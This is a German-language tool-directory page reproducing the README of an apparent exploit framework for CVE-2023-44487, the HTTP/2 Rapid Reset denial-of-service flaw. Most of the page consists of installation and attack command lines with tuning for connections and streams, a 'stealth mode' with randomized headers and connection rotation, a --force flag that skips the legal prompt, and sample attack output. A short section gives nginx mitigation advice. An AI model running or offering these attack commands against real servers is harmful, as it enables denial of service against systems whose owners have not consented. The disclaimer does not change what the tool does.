Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit — Advanced CVE-2023-44487 HTTP/2 Rapid Reset vulnerability exploitation framework. Features multi-connection concurrent attacks, adaptive rate control, stealth mode with randomized headers, real-time metrics, and risk assessment reporting. For authorized penetration testing only. By Sudeepa Wanigarathna | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2023-44487-http2-dos-rapid-reset-exploit
Exploit FrameworksVulnerability AnalysisExploitationWeb SecurityPenetration TestingRed TeamingAdversarial Attack
GitHubcerberusmrxi/cve-2023-44487-http2-dos-rapid-reset-exploit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit

Repository anzeigen
1vor 19 TagenNoch nicht geprüft

Advanced CVE-2023-44487 HTTP/2 Rapid Reset vulnerability exploitation framework. Features multi-connection concurrent attacks, adaptive rate control, stealth mode with randomized headers, real-time metrics, and risk assessment reporting. For authorized penetration testing only. By Sudeepa Wanigarathna

Teilen

CVE-2023-44487 HTTP/2 DoS Rapid Reset Exploit

Professional Edition v1.0.1 | Autor: Sudeepa Wanigarathna

Python Version License Version CVSS


Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Funktionen
  • Anforderungen
  • Installation
  • Schnellstart
  • Nutzungsanleitung
  • Konfigurationsoptionen
  • Docker-Unterstützung
  • Beispiele
  • Ergebnisse verstehen
  • Sicherheitsempfehlungen
  • Rechtlicher Haftungsausschluss
  • Autor
  • Changelog

Überblick

Ein professionelles Bewertungsframework für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Dieses Tool hilft Sicherheitsexperten, Systeme gegen eine der folgenreichsten HTTP/2-DoS-Bedingungen zu testen und zu validieren, die in den letzten Jahren bekannt wurde.

Es demonstriert, wie das schnelle Erstellen und Zurücksetzen von HTTP/2-Streams Serverressourcen erschöpfen und zu Denial-of-Service-Bedingungen (DoS) führen kann.

Die wichtigsten Funktionen im Überblick

  • Multi-Connection-Angriffsengine — Parallele HTTP/2-Verbindungen
  • Adaptive Ratensteuerung — Dynamische Anpassung für maximale Effektivität
  • Stealth-Modus — Zufällige Header und Verbindungsrotation
  • Umfassende Berichterstattung — JSON/CSV mit Risikobewertung
  • Docker-Unterstützung — Containerisierte Bereitstellung
  • Echtzeitüberwachung — Live-Angriffsmetriken und Fortschritt
  • Professionelles Logging — Farbige Konsolenausgabe mit Datei-Logging
UsageResults

Schwachstellendetails

CVE-2023-44487: HTTP/2-Rapid-Reset-Angriff

Technischer Überblick

Die Schwachstelle nutzt den Stream-Verwaltungsmechanismus des HTTP/2-Protokolls aus:

  1. Stream-Erstellung — Der Client sendet einen HEADERS-Frame, um einen neuen Stream zu erstellen
  2. Sofortiges Zurücksetzen — Der Client sendet sofort einen RST_STREAM-Frame
  3. Serververarbeitung — Der Server muss beide Frames verarbeiten, was Ressourcen verbraucht
  4. Ressourcenerschöpfung — Wiederholte Zyklen überwältigen die Serverressourcen

Auswirkungen

  • Ressourcenerschöpfung auf HTTP/2-Servern
  • Möglicher Denial of Service (DoS)
  • Kann Load Balancer, Proxys und CDNs betreffen
  • Keine Authentifizierung oder spezielle Berechtigungen erforderlich

Funktionen

Kernfunktionen

Erweiterte Funktionen

  • Proxy-Unterstützung — Erweiterbare Proxy-Konfiguration
  • Verbindungspooling — Effizientes Verbindungsmanagement
  • Fehlerbehebung — Saubere Behandlung von Verbindungsfehlern
  • Leistungsoptimierung — Konfigurierbare Einstellungen für verschiedene Szenarien
  • CI/CD-Integration — Geeignet für automatisierte Sicherheitstests

Anforderungen

Systemanforderungen

Abhängigkeiten

root@kitploit:~
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0

Installation

1. Schnellinstallation

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 cve-2023-44487-exploit.py --help

2. Virtuelle Umgebung (Empfohlen)

root@kitploit:~
# Create virtual environment
python3 -m venv venv

# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

3. Docker-Installation

root@kitploit:~
# Build Docker image
docker build -t cve-2023-44487-exploit .

# Run with Docker
docker run --rm cve-2023-44487-exploit target.com

4. Manuelle Installation

root@kitploit:~
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"

# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py

# Make executable
chmod +x cve-2023-44487-exploit.py

Schnellstart

Grundlegende Nutzung

root@kitploit:~
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com

# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify

# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl

Schnelltest (5 Sekunden)

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify

Vollständige Bewertung (60 Sekunden)

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify

Nutzungsanleitung

Befehlszeilenoptionen

Zielkonfiguration

Angriffskonfiguration

Erweiterte Optionen

Berichterstattung


Konfigurationsoptionen

Verwenden Sie die oben genannten CLI-Flags, um Parallelität, Stream-Volumen, Dauer und Berichterstattung anzupassen. Bevorzugen Sie niedrigere -c / -s / -d-Werte für die erste Validierung und skalieren Sie nur auf Systemen, für die Sie zum Belastungstest autorisiert sind.


Docker-Unterstützung

Image erstellen

root@kitploit:~
docker build -t cve-2023-44487-exploit .

Basisbewertung ausführen

root@kitploit:~
docker run --rm cve-2023-44487-exploit target.com

Mit benutzerdefinierten Parametern ausführen

root@kitploit:~
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60

Ergebnisse lokal speichern

root@kitploit:~
docker run --rm -v "$(pwd)/results:/app/results" \
  cve-2023-44487-exploit target.com -o /app/results/report.json

Interaktiver Modus

root@kitploit:~
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit

Docker Compose

root@kitploit:~
# Start with docker-compose
docker-compose up

# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60

Beispiele

1. Basis-HTTPS-Bewertung

root@kitploit:~
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30

2. HTTP-Bewertung (ohne SSL)

root@kitploit:~
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30

3. Hochleistungs-Laborlauf

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000

4. Stealth-Modus

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60

5. Schneller Validierungstest

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify

6. CSV-Bericht erstellen

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv

7. Validierung überspringen

root@kitploit:~
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30

8. Autorisierter Produktionstest

root@kitploit:~
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
  -c 100 -s 2000 -d 60 --stealth -o full_report.json

Ergebnisse verstehen

Ausgabemetriken

Risikobewertungsstufen

Beispielausgabe

root@kitploit:~
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
  - Extremely high reset rate accepted
  - Very high success rate
================================================================================

Sicherheitsempfehlungen

Für Systemadministratoren

Sofortige Maßnahmen

  1. Sicherheitspatches einspielen

    • Auf die neuesten HTTP/2-Implementierungen aktualisieren
    • Herstellerspezifische Sicherheitspatches anwenden
    • Load Balancer und Proxys aktualisieren
  2. Ratenbegrenzung implementieren

    root@kitploit:~
    # Nginx rate limiting example
    http {
        limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
        limit_req zone=http2 burst=20 nodelay;
    }
    
  3. Verbindungslimits

    root@kitploit:~
    # Limit connections per client
    limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
    limit_conn conn_zone 10;
    

Härtung der Konfiguration

EinstellungEmpfehlung
Maximale gleichzeitige StreamsAuf 100–200 pro Verbindung setzen

Überwachung

root@kitploit:~
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l

# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l

Empfohlene Sicherheitskontrollen

  • Ratenbegrenzung — Pro-Client-Stream-Limits implementieren
  • Verbindungsdrosselung — Verbindungen pro IP begrenzen
  • Ressourcenlimits — Verbindungs-Timeout-Werte festlegen
  • Überwachung — Logging und Warnmeldungen für Anomalien aktivieren
  • WAF-Regeln — HTTP/2-spezifische WAF-Regeln implementieren
  • Patch-Management — Regelmäßige Sicherheitsupdates
  • Incident Response — Einen Plan für DoS-Angriffe haben

Rechtlicher Haftungsausschluss

WICHTIG: LESEN SIE DIES SORGFÄLTIG, BEVOR SIE DIESES TOOL VERWENDEN

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.

Nutzungsbedingungen

Durch die Verwendung dieses Tools bestätigen Sie und stimmen zu, dass:

  1. Sie über die ausdrückliche schriftliche Genehmigung verfügen, das Zielsystem zu testen
  2. Sie die Risiken und möglichen Auswirkungen dieser Bewertung verstehen
  3. Sie alle geltenden Gesetze und Vorschriften einhalten
  4. Sie die volle Verantwortung für Ihre Handlungen übernehmen
  5. Sie dieses Tool nicht für unbefugte Aktivitäten verwenden

Verbotene Verwendungen

Dieses Tool darf NICHT verwendet werden für:

  • Unbefugte Tests oder Angriffe
  • Denial of Service gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine Genehmigung haben
  • Störung von Produktionssystemen ohne Autorisierung
  • Verursachung finanzieller Schäden
  • Illegale Aktivitäten

Haftungserklärung

DER AUTOR UND DIE MITWIRKENDEN STELLEN DIESES TOOL "WIE BESEHEN" OHNE JEGLICHE GEWÄHRLEISTUNG BEREIT. DIE VERWENDUNG DIESES TOOLS ERFOLGT AUF EIGENES RISIKO. DER AUTOR ÜBERNIMMT KEINE HAFTUNG FÜR SCHÄDEN ODER RECHTLICHE PROBLEME, DIE AUS DER VERWENDUNG DIESES TOOLS ENTSTEHEN.

Die unbefugte Verwendung dieses Tools kann gegen Gesetze verstoßen, einschließlich, aber nicht beschränkt auf:

  • Computer Fraud and Abuse Act (CFAA) — USA
  • Computer Misuse Act — Großbritannien
  • Datenschutz-Grundverordnung (DSGVO) — EU
  • Weitere relevante lokale, nationale und internationale Gesetze

Autor

Sudeepa Wanigarathna

  • Sicherheitsforscher & Penetrationstester
  • Spezialisiert auf Anwendungssicherheit & Protokollschwachstellen
  • GitHub
  • LinkedIn

Changelog

Version 1.0.1 (Aktuell)

  • Fehler mit dem connection_attempts-Attribut behoben
  • SSL/ALPN-Validierung verbessert
  • Timeout-Behandlung hinzugefügt
  • Fehlerbehebung verbessert
  • --skip-validation-Flag hinzugefügt
  • Docker-Unterstützung verbessert

Version 1.0.0 (Erstveröffentlichung)

  • Erstveröffentlichung der Professional Edition
  • Multi-Connection-Angriffsengine
  • Adaptive Ratensteuerung
  • Stealth-Modus
  • Umfassende Berichterstattung
  • Docker-Unterstützung

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert — siehe die Datei LICENSE für Details.


Danksagungen

  • HTTP/2-Protokollteam
  • Sicherheitsforscher, die CVE-2023-44487 identifiziert haben
  • Open-Source-Community (h2, aiohttp-Projekte)

Referenzen

  • CVE-2023-44487 NVD-Eintrag
  • Analyse des HTTP/2-Rapid-Reset-Angriffs
  • HTTP/2-Protokollspezifikation (RFC 9113)
  • Nginx-Sicherheitshinweis zu HTTP/2
  • Apache-HTTP/2-Sicherheitsleitfaden

Support

Bei Problemen und Fragen:

  • GitHub Issues: Ein Issue einreichen
  • E-Mail: [email protected]
  • Sicherheitskontakt: Wenn Sie eine Schwachstelle in diesem Projekt finden, melden Sie diese bitte verantwortungsbewusst.

Kurzreferenz-Karte

root@kitploit:~
# Quick Commands

# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify

# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl

# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5

# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth

# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation

# Docker
docker run --rm cve-2023-44487-exploit target.com

# Help
python3 cve-2023-44487-exploit.py --help

ERINNERUNG: Holen Sie immer eine ordnungsgemäße Autorisierung ein, bevor Sie ein System testen. Verwenden Sie dieses Tool verantwortungsbewusst und ethisch.


Gepflegt von Sudeepa Wanigarathna | Zuletzt aktualisiert: August 2026

Tool herunterladen
AttributWert
CVE-IDCVE-2023-44487
CVSS-Score7.5 (Hoch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
AuswirkungDenial of Service (Ressourcenerschöpfung)
Betroffene ProtokolleHTTP/2
OffenlegungsdatumOktober 2023
FunktionBeschreibung
HTTP/2-UnterstützungVollständige HTTP/2-Protokollimplementierung mit der h2-Bibliothek
Multi-ConnectionParalleler Angriff über mehrere Verbindungen
SSL/TLSHTTPS-Unterstützung mit Optionen zur Zertifikatsprüfung
Adaptive RatensteuerungPasst die Angriffsrate dynamisch an die Serverantwort an
Stealth-ModusZufällige Header und Verbindungsrotation
EchtzeitüberwachungLive-Metrikanzeige während des Laufs
Umfassende BerichteJSON/CSV-Ausgabe mit Risikobewertung
Docker-UnterstützungContainerisierte Bereitstellung für einfache Tests
KomponenteMinimumEmpfohlen
BetriebssystemLinux / macOS / WindowsLinux oder macOS
Python3.7+3.11+
CPU2 Kerne4+ Kerne
RAM2 GB4 GB+
Netzwerk100 Mbit/s1 Gbit/s+
OptionBeschreibungStandard
hostZiel-Hostname oder IPErforderlich
-p, --portZielport443
--no-sslSSL/TLS deaktivierenFalse
--no-verifySSL-Überprüfung überspringenFalse
OptionBeschreibungStandard
-c, --connectionsAnzahl paralleler Verbindungen50
-s, --streamsStreams pro Verbindung1000
-d, --durationDauer in Sekunden30
--max-streamsMaximale Gesamtzahl an Streams100000
--delayBasisverzögerung zwischen Operationen0.0001s
OptionBeschreibungStandard
--adaptiveAdaptive RatensteuerungTrue
--target-rpsZiel-Anfragen pro Sekunde10000
--stealthStealth-Modus (zufällige Header)False
--skip-validationZielvalidierung überspringenFalse
--forceRechtshinweis-Abfrage überspringenFalse
OptionBeschreibungStandard
-o, --outputName der Ausgabedateiexploit_results.json
--formatAusgabeformat (json / csv / console)json
-v, --verboseAusführliches LoggingFalse
SzenarioEmpfohlene Flags
Rauchtest-c 10 -s 100 -d 5
Standardbewertung-c 50 -s 1000 -d 30
Labor-Test mit hoher Last-c 100 -s 2000 -d 60 --stealth
Nicht vertrauenswürdiges Zertifikat--no-verify
Einfaches HTTP-p 80 --no-ssl
MetrikBeschreibungInterpretation
Gesamtzahl der StreamsAnzahl der erstellten StreamsHöhere Zahl = mehr erzeugte Last
Erfolgreiche ResetsErfolgreich zurückgesetzte StreamsNormalerweise >90 % bei anfälligen Zielen
Reset-Rate (RPS)Resets pro SekundeHöhere Rate = effektivere Last
ErfolgsquoteProzentsatz erfolgreicher Resets>90 % deutet oft auf eine Gefährdung hin
VerbindungsfehlerFehlgeschlagene VerbindungenNiedrig = stabile Konnektivität
Server-ResetsVom Server initiierte ResetsHoch = Schutzmaßnahmen vorhanden
StufePunktzahlBedeutung
KRITISCH80–100Server stark anfällig
HOCH60–79Server anfällig, gewisser Schutz vorhanden
MITTEL40–59Gewisser Schutz vorhanden
NIEDRIG0–39Gut geschützter Server
Stream-Reset-RateAuf <100/Sek. pro Client begrenzen
VerbindungslimitMax. 50–100 Verbindungen pro IP
Timeout-WerteLeerlauf-Timeouts reduzieren
Begrenzung der AnfragegrößeHeadergrößen und Nutzlast begrenzen